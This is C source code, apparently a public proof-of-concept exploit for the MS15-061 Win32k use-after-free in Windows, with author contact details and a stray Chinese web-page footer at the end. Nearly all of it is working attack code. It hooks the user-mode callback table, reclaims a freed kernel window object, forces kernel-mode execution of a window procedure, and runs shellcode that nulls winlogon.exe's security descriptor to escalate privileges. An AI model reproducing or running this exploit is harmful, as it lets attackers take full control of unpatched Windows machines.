#include <windows.h>
#include<stdio.h>
/*
Exploiting MS15-061 with reverse engineering Win32k.sys by
steps :
1: hook PEB callback Function
2: trigger vulnerability ( make proper Window to lead vulnerable function)
3: replace fake object with NtUserDefSetText in Desktop heap inside PEB callback
4: fake object with save exit buffer(0x0c0c0c0c) and pointer to tagWND
5: do it until bServerSideWindowProc is set
mail : Firozimaysam@gmail.com
twitter : https://twitter.com/R00tkitSMM
*/
// TODO: check OS version , Code refactoring
/*
ref:
https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/08/2015-08-27_-_ncc_group_-_exploiting_ms15_061_uaf_-_release.pdf
http://www.mista.nu/research/mandt-win32k-slides.pdf
https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/
*/
typedef struct _HANDLEENTRY{
PVOID phead;
ULONG pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
}HANDLEENTRY,*PHANDLEENTRY;
typedef struct _SERVERINFO{
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
}SERVERINFO,*PSERVERINFO;
typedef struct _SHAREDINFO{
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize; // Win7 - not present in WinXP?
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl; // Not in XP
ULONG_PTR DefWindowMsgs; // Not in XP
ULONG_PTR DefWindowSpecMsgs; // Not in XP
}SHAREDINFO,*PSHAREDINFO;
void* Get__Win32ClientInfo()
{
/*
+0x1d4 GdiTebBatch : _GDI_TEB_BATCH
+0x6b4 RealClientId : _CLIENT_ID
+0x6bc GdiCachedProcessHandle : Ptr32 Void
+0x6c0 GdiClientPID : Uint4B
+0x6c4 GdiClientTID : Uint4B
+0x6c8 GdiThreadLocalInfo : Ptr32 Void
+0x6cc Win32ClientInfo : [62] Uint4B
*/
void* address=NULL;
__asm
{
mov eax,dword ptr fs:[00000018h] // eax=TEB
mov eax,dword ptr [eax+0x6cc] // Win32ClientInfo
mov address,eax;
}
return address;
}
CHAR originalCLS[0x5c+2];
HWND GetKernelHandle(HWND hwnd)
{
HWND kernelWindowHandle;
ULONG i;
HMODULE hUser32;
PSHAREDINFO pSharedInfo;
PSERVERINFO pServerInfo;
HANDLEENTRY *UserHandleTable;
pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
if (pSharedInfo == NULL)
{
printf("[-] Unable to locate SharedInfo");
return NULL;
} else {
printf("[*] SharedInfo @ %#p\r\n", pSharedInfo);
}
UserHandleTable = pSharedInfo->aheList;
printf("[*] aheList @ %#p\r\n", UserHandleTable);
pServerInfo = pSharedInfo->psi;
printf("[*] pServerInfo @ %#p\r\n", pServerInfo);
printf("[*] Handle Count: %d\r\n", pServerInfo->cHandleEntries);
// printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used
for(i = 0; i < pServerInfo->cHandleEntries; i++ )
{
__try
{
//
kernelWindowHandle = (HWND)(i | (UserHandleTable[i].wUniq << 0x10));
if( kernelWindowHandle == hwnd )
{
kernelWindowHandle = (HWND)UserHandleTable[i].phead;
printf("[+] Kernel Window Handle found @ %#p\r\n", kernelWindowHandle);
return kernelWindowHandle;
}
}
__except(EXCEPTION_EXECUTE_HANDLER) {}
}
return NULL;
}
VOID ArbDecByOne(DWORD addr){
*(DWORD *)(originalCLS + 0x58) = addr - 0x4;
}
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength : 31;
ULONG bAnsi : 1;
PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
VOID RtlInitLargeUnicodeString(
PLARGE_UNICODE_STRING plstr,
LPCWSTR psz,
UINT cchLimit)
{
ULONG Length;
plstr->Buffer = (PWSTR)psz;
plstr->bAnsi = FALSE;
if ( psz!=NULL) {
Length = wcslen( psz ) * sizeof( WCHAR );
plstr->Length = min(Length, cchLimit);
plstr->MaximumLength = min((Length + sizeof(UNICODE_NULL)), cchLimit);
} else {
plstr->MaximumLength = 0;
plstr->Length = 0;
}
}
__declspec(naked) BOOL NTAPI NtUserDefSetText(
IN HWND hwnd,
IN PLARGE_UNICODE_STRING pstrText OPTIONAL
)
{
__asm
{
mov eax, 116Dh
mov edx, 7FFE0300h
call dword ptr [edx]
retn 8
}
}
//the Window Procedure
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hwnd, msg, wParam, lParam);
}
void* kernelHandle;
__declspec(noinline) int Shellcode()
{
//return MessageBoxA(NULL,"Boom","boom",0);
__asm {
mov eax, kernelHandle // WND - Which window? Check this
mov eax, [eax+8] // THREADINFO
mov eax, [eax] // ETHREAD
mov eax, [eax+0x150] // KPROCESS
mov eax, [eax+0xb8] // flink
procloop:
lea edx, [eax-0xb8] // KPROCESS
mov eax, [eax]
add edx, 0x16c // module name
cmp dword ptr [edx], 0x6c6e6977 // “winl” for winlogon.exe
jne procloop
sub edx, 0x170
mov dword ptr [edx], 0x0 // NULL ACL
}
}
BOOL success = FALSE;
LRESULT CALLBACK WndProc2(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
WORD um=0;
__asm
{
mov ax, cs
mov um, ax
}
if(um == 0x1b)
{
// USER MODE
} else
{
success=TRUE;
DebugBreak();
Shellcode();
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
HWND Secondhwnd[50];
int SecondWindowIndex=1;
void CreateSecondWindow()
{
WNDCLASSEX wc;
const WCHAR g_szClassName[] = L"SecondClass";
//Step 1: Registering the Window Class
wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = WndProc2;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = NULL;
wc.hIcon = LoadIcon(NULL,IDI_QUESTION);
wc.hCursor = LoadCursor(NULL, IDI_QUESTION);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszMenuName = NULL;
wc.lpszClassName = g_szClassName;
wc.hIconSm = LoadIcon(NULL,IDI_QUESTION);
if(!RegisterClassExW(&wc))
{
return ;
}
for ( int i=0;i<50;i++)
{
Secondhwnd[i] = CreateWindowEx(
WS_EX_CLIENTEDGE,
g_szClassName,
L"The title of my window",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
NULL, NULL, NULL, NULL);
if(Secondhwnd[i] == NULL)
{
return ;
}
}
}
const WCHAR g_szClassName[] = L"MS15-061";
HWND hwnd;
HINSTANCE hInstance2;
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
pUser32_ClientCopyImage g_originalCCI;
void* __ClientCopyImageAddress;
NTSTATUS NTAPI hookCCI(PVOID p)
{
LARGE_UNICODE_STRING plstr;
// free WND object
DestroyWindow(hwnd);
UnregisterClassW(g_szClassName,NULL);
/*
.text:BF89EA6D push edx
.text:BF89EA6E call _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x)
.text:BF89EA73 lea esi, [edi+58h] ------->>>> replace edi memeory with NtUserDefSetText
.text:BF89EA76 mov edx, eax
.text:BF89EA78 mov ecx, esi
.text:BF89EA7A call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
*/
DebugBreak();
RtlInitLargeUnicodeString(&plstr,(WCHAR*)originalCLS, (UINT)-1);
NtUserDefSetText(Secondhwnd[SecondWindowIndex],&plstr);
SecondWindowIndex+=1;
return g_originalCCI(p);
}
void* Get__ClientCopyImageAddressInPEB()
{
void* address=NULL;
__asm
{
mov edx , 0xD8; // 0x36 *4 -> API index *4 number for __ClientCopyImage
mov eax,dword ptr fs:[00000018h] // eax=TEB
mov eax,dword ptr [eax+30h] // EAX=PEB
mov eax,dword ptr [eax+2Ch] // EAX=KernelCallbackTable
add eax,edx
mov address,eax;
int 3
}
return address;
}
void init()
{
DWORD prot;
LoadLibraryA("user32.dll");
CreateSecondWindow();
void* lpvBase = VirtualAlloc(
(void*)0x0c0c0c0c, // System selects address
2048, // Size of allocation
MEM_RESERVE|MEM_COMMIT, // Allocate reserved pages
PAGE_READWRITE); // Protection = no access
/*
for save exit : i used trick like Browser Fake vTable :
allocate 0x0c0c0c0c address and fill tagWND with 0x0c0c0c0c
so every dereference will loop in 0x0c0c0c0c
*/
memset(lpvBase,'\x0c',2048);
memset(originalCLS,0,0x5c+2);
memset(originalCLS,'\x0c',0x5c);
/*
+0x014 bForceMenuDraw : Pos 15, 1 Bit
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
+0x014 bAnsiWindowProc : Pos 19, 1 Bit
*/
kernelHandle=GetKernelHandle(Secondhwnd[0]);
ArbDecByOne((DWORD)kernelHandle+0x14); //
__ClientCopyImageAddress=Get__ClientCopyImageAddressInPEB();
printf("address of __ClientCopyImage is %x \r\n",__ClientCopyImageAddress);
if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
{
return ;
}
g_originalCCI =(pUser32_ClientCopyImage) InterlockedExchangePointer(__ClientCopyImageAddress, &hookCCI);
}
int main()
{
WNDCLASSEX wc;
int x;
MSG Msg;
//Step 1: Registering the Window Class
wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = NULL;
wc.hIcon = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback
wc.hCursor = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszMenuName = NULL;
wc.lpszClassName = g_szClassName;
wc.hIconSm = NULL; // bypass "if" inside xxxSetClassIcon to lead execution path to callback
init();
/*
.text:BF91B33C mov edi, [ebp+pclsBase]
..............
..............
.text:BF91B346 mov eax, [edi+58h]
.text:BF91B349 cmp eax, [ebp+arg_8] ; new and old icon must be diffrent
.text:BF91B34C jz loc_BF91B42C ----------->>> we need bypass this
..............
..............
.text:BF91B396 loc_BF91B396: ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j
.text:BF91B396 lea esi, [edi+58h] ; EDI
.text:BF91B399 mov ecx, esi
.text:BF91B39B mov edx, [ebp+arg_8]
.text:BF91B39E call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
.text:BF91B3A3 cmp dword ptr [edi+44h], 0
.text:BF91B3A7 jz short loc_BF91B3B4 ---------->>> we need bypass this
.text:BF91B3A9 cmp dword ptr [esi], 0
.text:BF91B3AC jnz short loc_BF91B3B4 ---------->>> we need bypass this
.text:BF91B3AE push edi
.text:BF91B3AF call _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x)
*/
do
{
if(!RegisterClassExW(&wc))
{
return 0;
}
// Step 2: Creating the Window
hwnd = CreateWindowEx(
WS_EX_CLIENTEDGE,
g_szClassName,
L"The title of my window",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
NULL, NULL, NULL, NULL);
if(hwnd == NULL)
{
return 0;
}
ShowWindow(hwnd, NULL);
UpdateWindow(hwnd);
//Triger UserMode CallBack
SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION));
SendMessageW(Secondhwnd[0], WM_NULL, NULL, NULL);
}while(!success);
}
京公网安备 11010502034610号
暂无评论